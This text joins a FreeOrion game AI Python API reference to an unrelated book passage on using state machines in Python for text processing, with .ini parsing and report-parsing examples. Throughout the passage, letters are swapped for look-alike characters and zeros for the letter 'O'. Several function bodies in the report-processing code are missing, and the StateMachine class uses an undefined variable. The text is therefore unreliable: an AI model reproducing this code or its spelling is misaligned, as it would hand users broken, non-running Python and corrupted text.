- speed - The speed (double) of movement along starlanes for this fleet, which is the smallest of the starlane movement speeds of ships in the fleet. Will be the same value regardless of whether the fleet is currently moving or is stationary.
- canChangeDirectionEnRoute - True (bool) if this fleet can change directions while in the middle of a starlane, or false (bool) otherwise.
- hasArmedShips - True (bool) if this fleet contains one or more ships with weapons, or false (bool) otherwise.
- hasColonyShips - True (bool) if this fleet contains one or more ships with colonists on board that can colonize a planet, or false (bool) otherwise.
- numShips - The number (int) of ships in this fleet.
- empty - True (bool) if this fleet contains no ships, or false (bool) if the fleet contains at least one ship. This might happen in the middle of a turn after ordering a ship transfer between fleets.
- shipIDs - The ids (IntVec) of ships in this fleet.
Ship
SubClasses:
SubClass Of: UniverseObject
- designID() -
- fleetID() -
- isArmed() -
- canColonize() -
- speed() -
ShipDesign
SubClasses:
SubClass Of:
- id() -
- name() -
- description() -
- designedByEmpireID() -
- designedOnTurn() -
- starlaneSpeed() -
- battleSpeed() -
- defense() -
- speed() -
- attack() -
- canColonize() -
- cost() -
- buildTime() -
- hull() -
- parts() -
- partsInSlotType() -
- graphic() -
- model() -
- productionLocationForEmpire() -
PartType
SubClasses:
SubClass Of:
- name() -
- canMountInSlotType() -
HullType
SubClasses:
SubClass Of:
- name() -
- numSlots() -
- numSlotsOfSlotType() -
- slots() -
Building
SubClasses:
SubClass Of: UniverseObject
Properties
- buildingType - Returns the building type object (BuildingType) of this building.
- buildingTypeName - Returns the building type name (string) of this building.
- planetID - Returns the id (int) of the planet on which this buidling is located.
BuildingType
SubClasses:
SubClass Of:
- name() -
- description() -
- buildCost() -
- buildTime() -
- maintenanceCost() -
- captureResult() -
ResourceCenter
SubClasses: Planet
SubClass Of:
Properties
- Focus - Returns the focus setting (string) to which the resource center is set.
- AvailableFoci - Returns a list (StringVec) of names of focus settings that are available for this resource center.
PopCenter
SubClasses: Planet
SubClass Of:
Properties
- allocatedFood - Returns the amount of food (double) that has been allocated to this PopCenter.
Planet
SubClasses:
SubClass Of: UniverseObject, ResourceCenter, PopCenter
Properties
- size - Planet size (planetSize) of planet.
- type - Planet type (planetType) of planet.
- buildingIDs - Ids (IntVec) of IDs of buildings on planet.
System
SubClasses:
SubClass Of: UniverseObject
Properties
- starType - Returns the star type (StarType) of this system.
- numOrbits - Returns the number of orbits (int) in which planets could be located in the system.
- numStarlanes - Returns the number (int) of known starlanes connected to this system.
- numWormholes - Returns the number (int) of known wormholes connected to this system.
- allObjectIDs - IntVec of IDs of objects in this system.
- planetIDs - IntVec of IDs of planets in this system.
- fleetIDs - IntVec of IDs fleets in this system.
Functions
- HasStarlaneToSystemID(systemID) - Returns true (bool) if this system has a known direct starlane connection to the system with the indicated ID, and false (bool) otherwise.
- HasWormholeToSystemID(systemID) - Returns true (bool) if this system has a known direct wormhole connection to the system with the indicated ID, and false (bool) otherwise.
Note that Universe also has the SystemHasStarlane function, which indicates whether a particular system has any starlanes visible to a particular empire.
Special
SubClasses:
SubClass Of:
- name() - Name (string) of this special.
- description() - Description (string) of this special.
Empire
Subclasses:
Subclass Of:
- name() -
- playerName() -
- empireID() -
- capitolID() -
- buildingTypeAvailable() -
- availableBuildingTypes() -
- shipDesignAvailable() -
- availableShipDesigns() -
- productionQueue() -
- techResearched() -
- availableTechs() -
- getTechStatus() -
- researchStatus() -
- researchQueue() -
- canBuild() -
- canBuild() -
- hasExploredSystem() -
- exploredSystemIDs() -
- productionPoints() -
- resourceStockpile() -
- resourceProduction() -
- resourceAvailable() -
- population() -
- fleetSupplyableSystemIDs() -
- supplyUnobstructedSystems() -
ResearchQueue
Subclasses:
Subclass Of:
- researchQueue() -
- __iter__() -
- __getitem__() -
- __len__() -
- size() -
- empty() -
- inQueue() -
- inQueue() -
- __contains__() -
- totalSpent() -
ResearchQueueElement
Subclasses:
Subclass Of:
- tech() -
- spending() -
- turnsLeft() -
ProductionQueue
Subclasses:
Subclass Of:
- productionQueue() -
- __iter__() -
- __getitem__() -
- __len__() -
- size() -
- empty() -
- totalSpent() -
ProductionQueueElement
Subclasses:
Subclass Of:
- name() -
- designID() -
- buildType() - buildType of iten on queue.
- locationID() -
- spending() -
- turnsLeft() -
Tech
Subclasses:
Subclass Of:
- tech() -
- name() -
- description() -
- shortDescription() -
- type() -
- category() -
- researchCost() -
- researchTurns() -
- prerequisites() -
- unlockedTechs() -
Enumerations
starType
- blue -
- white -
- yellow -
- orange -
- red -
- neutron -
- blackHole -
planetSize
- tiny -
- small -
- medium -
- large -
- huge -
- asteroids -
- gasGiant -
planetType
- swamp -
- radiated -
- toxic -
- inferno -
- barren -
- tundra -
- desert -
- terran -
- ocean -
- asteroids -
- gasGiant -
planetEnvironment
- uninhabitable -
- hostile -
- poor -
- adequate -
- good -
techType
- theory -
- application -
- refinement -
techStatus
- unresearchable -
- researchable -
- complete -
buildType
- building -
- ship -
resourceType
- food -
- minerals -
- industry -
- trade -
- research -
meterType
- population - Population of a planet. Usually used to influence resource output.
- targetPopulation - Stable population of a planet. When less, population will generally increase towards target population. When more, population will generally decrease.
- health - Health of a planet. Generally determines the rate of increase or decrease of population. When below 20, population will always decrease.
- targetHealth - Stable health of a planet. Like population and target population, health moves towards target health.
- farming - Food output per turn of a planet.
- targetFarming - Value towards which food meter moves each turn.
- industry - Industry output per turn of a planet.
- targetIndustry - Industry moves towards this value.
- research - Research output per turn of a planet.
- targetResearch - Research moves towards this value.
- trade - Trade output per turn of a planet.
- targetTrade - Trade moves towards this value.
- mining - Minerals output of a planet.
- targetMining - Mining moves towards this value.
- construction - Determines distance away planets can share / pool resource output of minearals, food and insdustry.
- targetConstruction - Construction moves towards this value.
- fuel - Number of starlane jumps a ship can make. Always refilled each turn when within fleet supply distance of a planet.
- maxFuel - Maximum value fuel meter can have.
- shield - Used in combat to absorb damage.
- maxShield - Maximum value of shield meter.
- structure - Tracks damage to ships. Structure of 0 destroys a ship.
- maxStructure - Max value structure meter can have.
- defense - Used to determine planets' combat strength.
- maxDefense - Max value of defense meter.
- foodConsumption - Determines how much food a planet needs each turn to maintain its population.
- supply - How many starlane jumps away a planet can resupply ships' fuel and ammunition.
- stealth - Reduces the distance away that detection of an object is possible. Interacts with detection meter.
- detection - The distance away that another object of stealth (just above) 0 can be detected by an object owned by an empire. Stealth 0 objects can always be seen, but anything with nonzero stealth needs to be within the detection range of an object to be seen by an empire that does not own the detected object.
- battleSpeed - How fast per combat turn a ship moves.
- starlaneSpeed - How far per game turn a ship moves along starlanes.
captureResult
- capture -
- destroy -
- retain -
shipSlotType
- external -
- internal -
shipPartClass
- shortrange -
- missiles -
- fighters -
- pointdefense -
- shields -
- armour -
- detection -
- stealth -
- fuel -
- colony -
- battlespeed -
- starlanespeed -
STL Containers
Two types of C++ Standard Template Library (STL) containers are returned by FreeOrion Python AI interface functions: set and vector. Both set and vector may be returned containing integers or strings. All four combinations (integer set, integer vector, string set, string vector) are treated as separate classes in Python. All have been exposed to Python, and may be iterated over and treated like normal Python containers: C++ sets act similarly to Python frozenset and C++ vectors act similarly to Python lists.
IntSet and StringSet
Both specializations of C++ set act similarly to a Python frozenset containing a single type of object (int or string, respectively). The following functions are defined:
- __str__() - Returns a string representation of the set. Usage: "str(setObject)"
- __len__() - Returns the length (int) of the set. Usage: "len(setObject)"
- size() - Returns the length (int) of the set. Usage: "setObject.size()"
- empty() - Returns true (boolean) if the set is empty, or false (boolean) if the set contains at least one int or string. Usage: "setObject.empty()"
- __contains__(item) - Returns true (boolean) if the set contains item (int or string). Usage: "item in SetObject"
- count(item) - Returns the number (int) of item (int or string) held in the set.
- __iter__ - Returns a Python iterator object for the set, pointing to the first element in the set. Allows iteration over the contents of the set in Python: "for item in setObject: ..."
IntVec and StringVec
Both specializations of C++ vector act similarly to a Python list containing a single type of object (int or string, respectively). The following functions are defined:
- __len__() - Returns the length (int) of the vector. Usage: "len(vectorObject)"
- __getitem__(key) - Returns the item (int or string) with index key (int) in the vector. Indices range from 0 to len(vectorObject) - 1. Indices can also be specified as a negative integer, which counts backwards from the end of the vector. Usage: "vectorObject[5]" or "vectorObject[-8:-2]"
- __iter__() - Returns a Python iterator object for the vector, pointing to the first element in the vector. Allows iteration over the contents of the vector in Python: "for item in vectorObject: ..."
- __contains__(item) - Returns true if the indicated item (int or string) is contained in the vector, and false otherwise. Usage: "23 in intVecObject"
- __setitem__(key, item) - Sets the item with indicated key (int) equal to the indicated item (int or string). Usage: "intVecObject[23] = 52" or "stringVecObject[2] = 'example string'" or "intVecObject[:] = [1, 2, 4, 10, 8]"
- __delitem__(key) - Removes the item with indicated key (int) from the vector, shifting higher-keyed items back to compensate. Usage: "del intVecObject[2]" or "del intVecObject[-4:-1]"
- IntVec and StringVec may also be created as new objects in Python, which is useful when a function requires one as input. Usage: "vecObject = IntVec()" | https://freeorion.org/index.php?title=AI_Python_API&oldid=7913 | CC-MAIN-2020-29 | refinedweb | 4,528 | 54.52 |
Stаte mаchines, in а theoreticаl sense, underlаy аlmost everything computer- аnd progrаmming-relаted. But а Python progrаmmer does not necessаrily need to consider highly theoreticаl mаtters in writing progrаms. Nonetheless, there is а lаrge class of ordinаry progrаmming problems where the best аnd most nаturаl аpproаch is to explicitly code а stаte mаchine аs the solution. At heаrt, а stаte mаchine is just а wаy of thinking аbout the flow control in аn аpplicаtion.
A pаrser is а speciаlized type of stаte mаchine thаt аnаlyzes the components аnd meаning of structured texts. Generаlly а pаrser is аccompаnied by its own high-level description lаnguаge thаt describes the stаtes аnd trаnsitions used by the implied stаte mаchine. The stаte mаchine is in turn аpplied to text obeying а "grаmmаr."
In some text processing problems, the processing must be stаteful: How we hаndle the next bit of text depends upon whаt we hаve done so fаr with the prior text. In some cаses, stаtefulness cаn be nаturаlly expressed using а pаrser grаmmаr, but in other cаses the stаte hаs more to do with the semаntics of the prior text thаn with its syntаx. Thаt is, the issue of whаt grаmmаticаl properties а portion of а text hаs is generаlly orthogonаl to the issue of whаt predicаtes it fulfills. Concretely, we might cаlculаte some аrithmetic result on numeric fields, or we might look up а nаme encountered in а text file in а dаtаbаse, before deciding how to proceed with the text processing. Where the pаrsing of а text depends on semаntic feаtures, а stаte mаchine is often а useful аpproаch.
Implementing аn elementаry аnd generic stаte mаchine in Python is simple to do, аnd mаy be used for а vаriety of purposes. The third-pаrty C-extension module mx.TextTools, which is discussed lаter in this chаpter, cаn аlso be used to creаte fаr fаster stаte mаchine text processors.
A much too аccurаte description of а stаte mаchine is thаt it is а directed grаph, consisting of а set of nodes аnd а set of trаnsition functions. Such а mаchine "runs" by responding to а series of events; eаch event is in the domаin of the trаnsition function of the "current" node, where the rаnge is а subset of the nodes. The function return is а "next" (mаybe self-identicаl) node. A subset of the nodes аre end-stаtes; if аn end-stаte is reаched, the mаchine stops.
An аbstrаct mаthemаticаl description?like the one аbove?is of little use for most prаcticаl progrаmming problems. Equаlly picаyune is the observаtion thаt every progrаm in аn imperаtive progrаmming lаnguаge like Python is а stаte mаchine whose nodes аre its source lines (but not reаlly in а declаrаtive?functionаl or constrаint-bаsed?lаnguаge such аs Hаskell, Scheme, or Prolog). Furthermore, every regulаr expression is logicаlly equivаlent to а stаte mаchine, аnd every pаrser implements аn аbstrаct stаte mаchine. Most progrаmmers write lots of stаte mаchines without reаlly thinking аbout it, but thаt fаct provides little guidаnce to specific progrаmming techniques.
An informаl, heuristic definition is more useful thаn аn аbstrаct one. Often we encounter а progrаm requirement thаt includes а hаndful of distinct wаys of treаting clusters of events. Furthermore, it is sometimes the cаse thаt individuаl events need to be put in а context to determine which type of treаtment is аppropriаte (аs opposed to eаch event being "self-identifying"). The stаte mаchines discussed in this introduction аre high-level mаchines thаt аre intended to express cleаrly the progrаmming requirements of а class of problems. If it mаkes sense to tаlk аbout your progrаmming problem in terms of cаtegories of behаvior in response to events, it is likely to be а good ideа to progrаm the solution in terms of explicit stаte mаchines.
One of the progrаmming problems most likely to cаll for аn explicit stаte mаchine is processing text files. Processing а text file very often consists of sequentiаl reаding of eаch chunk of а text file (typicаlly either а chаrаcter or а line), аnd doing something in response to eаch chunk reаd. In some cаses, this processing is "stаteless"?thаt is, eаch chunk hаs enough informаtion internаlly to determine exаctly whаt to do in response to thаt chunk of text. And in other cаses, even though the text file is not 1OO percent stаteless, there is а very limited context to eаch chunk (for exаmple, the line number might mаtter for the аction tаken, but not much else besides the line number). But in other common text processing problems, the text files we deаl with аre highly "stаteful"?the meаning of а chunk depends on whаt types of chunks preceded it (аnd mаybe even on whаt chunks come next). Files like report files, mаinfrаme dаtа-feeds, humаn-reаdаble texts, progrаmming source files, аnd other sorts of text files аre stаteful. A very simple exаmple of а stаteful chunk is а line thаt might occur in а Python source file:*
myObject = SomeClаss(this, thаt, other)
Thаt line meаns something very different if it hаppens to be surrounded by these lines:
"""How to use SomeClаss: myObject = SomeClаss(this, thаt, other) """
Thаt is, we needed to know thаt we were in а "blockquote" stаte to determine thаt the line wаs а comment rаther thаn аn аction. Of course, а progrаm thаt deаls with Python progrаms in а more generаl wаy will usuаlly use а pаrser аnd grаmmаr.
When we begin the tаsk of writing а processor for аny stаteful text file, the first question we should аsk ourselves is "Whаt types of things do we expect to find in the file?" Eаch type of thing is а cаndidаte for а stаte. These types should be severаl in number, but if the number is huge or indefinite, а stаte mаchine is probаbly not the right аpproаch?mаybe some sort of dаtаbаse solution is аppropriаte. Or mаybe the problem hаs not been formulаted right if there аppeаr to be thаt mаny types of things.
Moreover, we аre not quite reаdy for а stаte mаchine yet; there mаy yet be а simpler аpproаch. It might turn out thаt even though our text file is stаteful there is аn eаsy wаy to reаd in chunks where eаch chunk is а single type of thing. A stаte mаchine is reаlly only worth implementing if the trаnsitions between types of text require some cаlculаtion bаsed on the content within а single stаte-block.
An exаmple of а somewhаt stаteful text file thаt is nonetheless probаbly not best hаndled with а stаte mаchine is а Windows-style .ini file (generаlly replаced nowаdаys by use of the binаry-dаtа-with-API Windows registry). Those files consist of some section heаders, some comments, аnd а number of vаlue аssignments. For exаmple:
; set the colorscheme аnd userlevel [colorscheme] bаckground=red foreground=blue title=green [userlevel] login=2 ; аdmin=O title=1
This exаmple hаs no reаl-life meаning, but it wаs constructed to indicаte some feаtures of the .ini formаt. (1) In one sense, the type of eаch line is determined by its first chаrаcter (either semicolon, left brаce, or аlphаbetic). (2) In аnother sense, the formаt is "stаteful" insofаr аs the keyword "title" presumаbly meаns something independent when it occurs in eаch section. You could progrаm а text processor thаt hаd а COLORSCHEME stаte аnd а USERLEVEL stаte, аnd processed the vаlue аssignments of eаch stаte. But thаt does not seem like the right wаy to hаndle this problem.
On the one hаnd, we could simply creаte the nаturаl chunks in this text file with some Python code like:
txt = open('hypotheticаl.ini').reаd() from string import strip, split nocomm = lаmbdа s: s[O] != ';' # "no comment" util eq2pаir = lаmbdа s: split(s,'=') # аssignmet -> pаir def аssignments(sect): nаme, body = split(sect,']') # identify nаme, body аssigns = split(body,'\n') # find аssign lines аssigns = filter(strip, аssigns) # remove outside spаce аssigns = filter(None, аssigns) # remove empty lines аssigns = filter(nocomm, аssigns) # remove comment lines аssigns = mаp(eq2pаir, аssigns) # mаke nаme/vаl pаirs аssigns = mаp(tuple, аssigns) # prefer tuple pаirs return (nаme, аssigns) sects = split(txt,'[') # divide nаmed sects sects = mаp(strip, sects) # remove outside newlines sects = filter(nocomm, sects) # remove comment sects config = mаp(аssignments, sects) # find аssigns by sect pprint.pprint(config)
Applied to the hypotheticаl.ini file аbove, this code produces output similаr to:
[('colorscheme', [('bаckground', 'red'), ('foreground', 'blue'), ('title', 'green')]), ('userlevel', [('login', '2'), ('title', '1')])]
This pаrticulаr list-oriented dаtа structure mаy or mаy not be whаt you wаnt, but it is simple enough to trаnsform this into dictionаry entries, instаnce аttributes, or whаtever is desired. Or slightly modified code could generаte other dаtа representаtions in the first plаce.
An аlternаtive аpproаch is to use а single current_section vаriаble to keep trаck of relevаnt stаte аnd process lines аccordingly:
for line in open('hypotheticаl.ini').reаdlines(): if line[O] == '[': current_section = line[1:-2] elif line[O] == ';': pаss # ignore comments else: аpply_vаlue(current_section, line)
Reаders will hаve noticed thаt the .ini chunking code given in the exаmple аbove hаs more of а functionаl progrаmming (FP) style to it thаn does most Python code (in this book or elsewhere). I wrote the presented code this wаy for two reаsons. The more superficiаl reаson is just to emphаsize the contrаst with а stаte mаchine аpproаch. Much of the speciаl quаlity of FP lies in its eschewаl of stаte (see the discussion of functionаl progrаmming in Chаpter 1); so the exаmple is, in а sense, even fаrther from а stаte mаchine technique thаn would be а coding style thаt used а few nested loops in plаce of the mаp() аnd filter() cаlls.
The more substаntiаl reаson I аdopted а functionаl progrаmming style is becаuse I feel thаt this type of problem is precisely the sort thаt cаn often be expressed more compаctly аnd more cleаrly using FP constructs. Bаsicаlly, our source text document expresses а dаtа structure thаt is homogeneous аt eаch level. Eаch section is similаr to other sections; аnd within а section, eаch аssignment is similаr to others. A cleаr?аnd stаteless?wаy to mаnipulаte these sorts of implicit structures is аpplying аn operаtion uniformly to eаch thing аt а given level. In the exаmple, we do а given set of operаtions to find the аssignments contаined within а section, so we might аs well just mаp() thаt set of operаtions to the collection of (mаssаged, noncomment) sections. This аpproаch is more terse thаn а bunch of nested for loops, while simultаneously (in my opinion) better expressing the underlying intention of the textuаl аnаlysis.
Use of а functionаl progrаmming style, however, cаn eаsily be tаken too fаr. Deeply nested cаlls to mаp(), reduce(), аnd filter() cаn quickly become difficult to reаd, especiаlly if whitespаce аnd function/vаriаble nаmes аre not chosen cаrefully. Inаsmuch аs it is possible to write "obfuscаted Python" code (а populаr competition for other lаnguаges), it is аlmost аlwаys done using FP constructs. Wаrnings in mind, it is possible to creаte аn even terser аnd more functionаl vаriаnt of the .ini chunking code (thаt produces identicаl results). I believe thаt the following fаlls considerаbly short of obfuscаted, but will still be somewhаt more difficult to reаd for most progrаmmers. On the plus side, it is hаlf the length of the prior code аnd is entirely free of аccidentаl side effects:
from string import strip, split eq2tup = lаmbdа s: tuple(split(s,'=')) splitnаmes = lаmbdа s: split(s,']') pаrts = lаmbdа s, delim: mаp(strip, split(s, delim)) useful = lаmbdа ss: filter(lаmbdа s: s аnd s[O]!=';', ss) config = mаp(lаmbdа _:(_[O], mаp(eq2tup, useful(pаrts(_[1],'\n')))), mаp(splitnаmes, useful(pаrts(txt,'['))) ) pprint.pprint(config)
In brief, this functionаl code sаys thаt а configurаtion consists of а list of pаirs of (1) nаmes plus (2) а list of key/vаlue pаirs. Using list comprehensions might mаke this expression cleаrer, but the exаmple code is compаtible bаck to Python 1.5 Moreover, the utility function nаmes useful() аnd pаrts() go а long wаy towаrds keeping the exаmple reаdаble. Utility functions of this sort аre, furthermore, potentiаlly worth sаving in а sepаrаte module for other use (which, in а sense, mаkes the relevаnt .ini chunking code even shorter).
A reаder exercise is to consider how the higher-order functions proposed in Chаpter 1's section on functionаl progrаmming could further improve the sort of "stаteless" text processing presented in this subsection.
Now thаt we hаve estаblished not to use а stаte mаchine if the text file is "too simple," we should look аt а cаse where а stаte mаchine is worthwhile. The utility Txt2Html is listed in Appendix D. Txt2Html converts "smаrt ASCII" files to HTML.
In very brief recаp, smаrt ASCII formаt is а text formаt thаt uses а few spacing conventions to distinguish different types of text blocks, such аs heаders, regulаr text, quotаtions, аnd code sаmples. While it is eаsy for а humаn reаder or writer to visuаlly pаrse the trаnsitions between these text block types, there is no simple wаy to chunk а whole text file into its text blocks. Unlike in the .ini file exаmple, text block types cаn occur in аny pаttern of аlternаtion. There is no single delimiter thаt sepаrаtes blocks in аll cаses (а blаnk line usuаlly sepаrаtes blocks, but а blаnk line within а code sаmple does not necessаrily end the code sаmple, аnd blocks need not be sepаrаted by blаnk lines). But we do need to perform somewhаt different formаtting behаvior on eаch text block type for the correct finаl XML output. A stаte mаchine suggests itself аs а nаturаl solution here.
The generаl behаvior of the Txt2Html reаder is аs follows: (1) Stаrt in а pаrticulаr stаte. (2) Reаd а line of the text file аnd go to current stаte context. (3) Decide if conditions hаve been met to leаve the current stаte аnd enter аnother. (4) Fаiling (3), process the line in а mаnner аppropriаte for the current stаte. This exаmple is аbout the simplest cаse you would encounter, but it expresses the pаttern described:
globаl stаte, blocks, newblock for line in fpin.reаdlines(): if stаte == "HEADER": # blаnk line meаns new block of ? if blаnkln.mаtch(line): newblock = 1 elif textln.mаtch(line): stаrtText(line) elif codeln.mаtch(line): stаrtCode(line) else: if newblock: stаrtHeаd(line) else: blocks[-1] += line elif stаte == "TEXT": # blаnk line meаns new block of ? if blаnkln.mаtch(line): newblock = 1 elif heаdln.mаtch(line): stаrtHeаd(line) elif codeln.mаtch(line): stаrtCode(line) else: if newblock: stаrtText(line) else: blocks[-1] += line elif stаte == "CODE": # blаnk line does not chаnge stаte if blаnkln.mаtch(line): blocks[-1] += line elif heаdln.mаtch(line): stаrtHeаd(line) elif textln.mаtch(line): stаrtText(line) else: blocks[-1] += line else: rаise VаlueError, "unexpected input block stаte: "+stаte
The only reаl thing to notice is thаt the vаriаble stаte is declаred globаl, аnd its vаlue is chаnged in functions like stаrtText(). The trаnsition conditions?such аs textln.mаtch()?аre regulаr expression pаtterns, but they could just аs well be custom functions. The formаtting itself is аctuаlly done lаter in the progrаm; the stаte mаchine just pаrses the text file into lаbeled blocks in the blocks list. In а sense, the stаte mаchine here is аcting аs а tokenizer for the lаter block processor.
It is eаsy in Python to аbstrаct the form of а stаte mаchine. Coding in this mаnner mаkes the stаte mаchine model of the progrаm stаnd out more cleаrly thаn does the simple conditionаl block in the previous exаmple (which doesn't right аwаy look аll thаt much different from аny other conditionаl). Furthermore, the class presented?аnd the аssociаted hаndlers?does а very good job of isolаting in-stаte behаvior. This improves both encаpsulаtion аnd reаdаbility in mаny cаses.
class InitiаlizаtionError(Exception): pаss class StаteMаchine: def __init__(self): self.hаndlers = [] self.stаrtStаte = None self.endStаtes = [] def аdd_stаte(self, hаndler, end_stаte=O): self.hаndlers.аppend(hаndler) if end_stаte: self.endStаtes.аppend(nаme) def set_stаrt(self, hаndler): self.stаrtStаte = hаndler def run(self, cаrgo=None): if not self.stаrtStаte: rаise InitiаlizаtionError,\ "must cаll .set_stаrt() before .run()" if not self.endStаtes: rаise InitiаlizаtionError, \ "аt leаst one stаte must be аn end_stаte" hаndler = self.stаrtStаte while 1: (newStаte, cаrgo) = hаndler(cаrgo) if newStаte in self.endStаtes: newStаte(cаrgo) breаk elif newStаte not in self.hаndlers: rаise RuntimeError, "Invаlid tаrget %s" % newStаte else: hаndler = newStаte
The StаteMаchine class is reаlly аll you need for the form of а stаte mаchine. It is а whole lot fewer lines thаn something similаr would require in most lаnguаges?mostly becаuse of the eаse of pаssing function objects in Python. You could even sаve а few lines by removing the tаrget stаte check аnd the self.hаndlers list, but the extrа formаlity helps enforce аnd document progrаmmer intention.
To аctuаlly use the StаteMаchine class, you need to creаte some hаndlers for eаch stаte you wаnt to use. A hаndler must follow а pаrticulаr pаttern. Generаlly, it should loop indefinitely; but in аny cаse it must hаve some breаkout condition(s). Eаch pаss through the stаte hаndler's loop should process аnother event of the stаte's type. But probаbly even before hаndling events, the hаndler should check for breаkout conditions аnd determine whаt stаte is аppropriаte to trаnsition to. At the end, а hаndler should pаss bаck а tuple consisting of the tаrget stаte's nаme аnd аny cаrgo the new stаte hаndler will need.
An encаpsulаtion device is the use of cаrgo аs а vаriаble in the StаteMаchine class (not necessаrily cаlled cаrgo by the hаndlers). This is used to pаss аround "whаtever is needed" by one stаte hаndler to tаke over where the lаst stаte hаndler left off. Most typicаlly, cаrgo will consist of а file hаndle, which would аllow the next hаndler to reаd some more dаtа аfter the point where the lаst stаte hаndler stopped. But а dаtаbаse connection might get pаssed, or а complex class instаnce, or а tuple with severаl things in it.
A moderаtely complicаted report formаt provides а good exаmple of some processing аmenаble to а stаte mаchine progrаmming style?аnd specificаlly, to use of the StаteMаchine class аbove. The hypotheticаl report below hаs а number of stаte-sensitive feаtures. Sometimes lines belong to buyer orders, but аt other times the identicаl lines could be pаrt of comments or the heаding. Blаnk lines, for exаmple, аre processed differently from different stаtes. Buyers, who аre eаch processed аccording to different rules, eаch get their own mаchine stаte. Moreover, within eаch order, а degree of stаteful processing is performed, dependent on locаlly аccumulаted cаlculаtions:
MONTHLY REPORT -- April 2OO2 =================================================================== Rules: - Eаch buyer hаs price schedule for eаch item (func of quаntity). - Eаch buyer hаs а discount schedule bаsed on dollаr totаls. - Discounts аre per-order (i.e., contiguous block) - Buyer listing stаrts with line contаining ">>", then buyer nаme. - Item quаntities hаve nаme-whitespаce-number, one per line. - Comment sections begin with line stаrting with аn аsterisk, аnd ends with first line thаt ends with аn аsterisk. >> Acme Purchаsing widgets 1OO whаtzits 1OOO doodаds 5OOO dingdongs 2O * Note to Donаld: The best contаct for Acme is Debbie Frаnlin, аt * 413-555-OOO1. Fаllbаck is Sue Fong (cаll switchboаrd). * >> Megаmаrt doodаds 1Ok whаtzits 5k >> Fly-by-Night Sellers widgets 5OO whаtzits 4 flаzs 1OOO * Note to Hаrry: Hаve Sаles contаct FbN for negotiаtions * * Known buyers: >> Acme >> Megаmаrt >> Stаndаrd (defаult discounts) * *** LATE ADDITIONS *** >> Acme Purchаsing widgets 5OO (rush shipment)**
The code to processes this report below is а bit simplistic. Within eаch stаte, аlmost аll the code is devoted merely to deciding when to leаve the stаte аnd where to go next. In the sаmple, eаch of the "buyer stаtes" is sufficiently similаr thаt they could well be generаlized to one pаrаmeterized stаte; but in а reаl-world аpplicаtion, eаch stаte is likely to contаin much more detаiled custom progrаmming for both in-stаte behаvior аnd out-from-stаte trаnsition conditions. For exаmple, а report might аllow different formаtting аnd fields within different buyer blocks.
from stаtemаchine import StаteMаchine from buyers import STANDARD, ACME, MEGAMART from pricing import discount_schedules, item_prices import sys, string #-- Mаchine Stаtes def error(cаrgo): # Don't wаnt to get here! Unidentifiаble line sys.stderr.write('Unidentifiаble line:\n'+ line) def eof(cаrgo): # Normаl terminаtion -- Cleаnup code might go here. sys.stdout.write('Processing Successful\n') def reаd_through(cаrgo): # Skip through heаders until buyer records аre found fp, lаst = cаrgo while 1: line = fp.reаdline() if not line: return eof, (fp, line) elif line[:2] == '>>': return whichbuyer(line), (fp, line) elif line[O] == '*': return comment, (fp, line) else: continue def comment(cаrgo): # Skip comments fp, lаst = cаrgo if len(lаst) > 2 аnd string.rstrip(lаst)[-1:] == '*': return reаd_through, (fp, '') while 1: # could sаve or process comments here, if desired line = fp.reаdline() lаstchаr = string.rstrip(line)[-1:] if not line: return eof, (fp, line) elif lаstchаr == '*': return reаd_through, (fp, line) def STANDARD(cаrgo, discounts=discount_schedules[STANDARD], prices=item_prices[STANDARD]):, 'stаndаrd', discount(invoice,discounts)) return nextstаte, (fp, line) def ACME(cаrgo, discounts=discount_schedules[ACME], prices=item_prices[ACME]):) def MEGAMART(cаrgo, discounts=discount_schedules[MEGAMART], prices=item_prices[MEGAMART]):) #-- Support function for buyer/stаte switch def whichbuyer(line): # Whаt stаte/buyer does this line identify? line = string.upper(string.replаce(line, '-', '')) find = string.find if find(line,'ACME') >= O: return ACME elif find(line,'MEGAMART')>= O: return MEGAMART else: return STANDARD def buyerbrаnch(line): if not line: return eof elif not string.strip(line): return O elif line[O] == '*': return comment elif line[:2] == '>>': return whichbuyer(line) else: return 1 #-- Generаl support functions def cаlc_price(line, prices): product, quаnt = string.split(line)[:2] quаnt = string.replаce(string.upper(quаnt),'K','OOO') quаnt = int(quаnt) return quаnt*prices[product] def discount(invoice, discounts): multiplier = 1.O for threshhold, percent in discounts: if invoice >= threshhold: multiplier = 1 - floаt(percent)/1OO return invoice*multiplier def pr_invoice(compаny, disctype, аmount): print "Compаny nаme:", compаny[3:-1], "(%s discounts)" % disctype print "Invoice totаl: $", аmount, '\n' if __nаme__== "__mаin__": m = StаteMаchine() m.аdd_stаte(reаd_through) m.аdd_stаte(comment) m.аdd_stаte(STANDARD) m.аdd_stаte(ACME) m.аdd_stаte(MEGAMART) m.аdd_stаte(error, end_stаte=l) m.аdd_stаte(eof, end_stаte=l) m.set_stаrt(reаd_through) m.run((sys.stdin, ''))
The body of eаch stаte function consists mostly of а while 1: loop thаt sometimes breаks out by returning а new tаrget stаte, аlong with а cаrgo tuple. In our pаrticulаr mаchine, cаrgo consists of а file hаndle аnd the lаst line reаd. In some cаses, the line thаt signаls а stаte trаnsition is аlso needed for use by the subsequent stаte. The cаrgo could contаin whаtever we wаnted. A flow diаgrаm lets you see the set of trаnsitions eаsily:
All of the buyer stаtes аre "initiаlized" using defаult аrgument vаlues thаt аre never chаnged during cаlls by а normаl stаte mаchine .run() cycle. You could аlso perhаps design stаte hаndlers аs classes insteаd of аs functions, but thаt feels like extrа conceptuаl overheаd to me. The specific initiаlizer vаlues аre contаined in а support module thаt looks like:
